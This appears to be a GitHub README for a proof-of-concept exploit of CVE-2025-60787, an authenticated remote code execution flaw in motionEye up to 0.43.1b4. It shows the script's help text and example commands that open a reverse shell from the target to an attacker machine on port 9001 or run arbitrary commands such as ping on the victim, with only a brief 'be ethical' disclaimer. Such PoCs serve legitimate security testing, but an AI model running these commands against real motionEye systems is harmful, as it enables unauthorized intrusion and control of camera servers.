gunzf0x/cve-2025-60787PoC for CVE-2025-60787 - Authenticated RCE in motionEye for all versions up to 0.43.1b4 (included)
PoC for CVE-2025-60787 that is an Authenticated RCE vulnerability for motionEye with all afected versions up to 0.43.1b4 (included).
This is an automated PoC for the vulnerability described in this repository. Credits to prabhatverma47.
The script has 2 commands that abuse the vulnerability. One that directly sends a reverse shell called revshell and another command called command to directly execute commands abusing this CVE.
❯ python3 CVE-2025-60787.py -h
usage: CVE-2025-60787.py [-h] {revshell,command} ...
PoC for CVE-2025-60787 -- Authenticated RCE in motionEye by gunzf0x
positional arguments:
{revshell,command} Choose between send a reverse shell or (attempting to) run commands
revshell Attempt to send a reverse shell using CVE-2025-60787 vuln
command Execute a command remotely using CVE-2025-60787 vuln
options:
-h, --help show this help message and exit
Use revshell command to obtain a shell. For example:
python3 CVE-2025-60787.py revshell --url 'http://10.10.10.10:8765' --user 'admin' --password 'StrongPassw0rd123!' -i 10.10.10.15 --port 9001
Where 10.10.10.10 is the target machine (machine running motionEye), 10.10.10.15 is our attacker machine and 9001 is the prot we are listening to catch a reverse shell.
If instead of a reverse shell we want to execute other commands remotely, we can use command option. For example, execute the command ping -c1 10.10.10.15 in the victim machine:
python3 CVE-2025-60787.py command --url 'http://10.10.10.10:8765' --user 'admin' --password 'StrongPassw0rd123!' -e 'ping -c1 10.10.10.15'
Where 10.10.10.10 is the machine running motionEye.
Use this script always under your own responsability.
Be ethical (: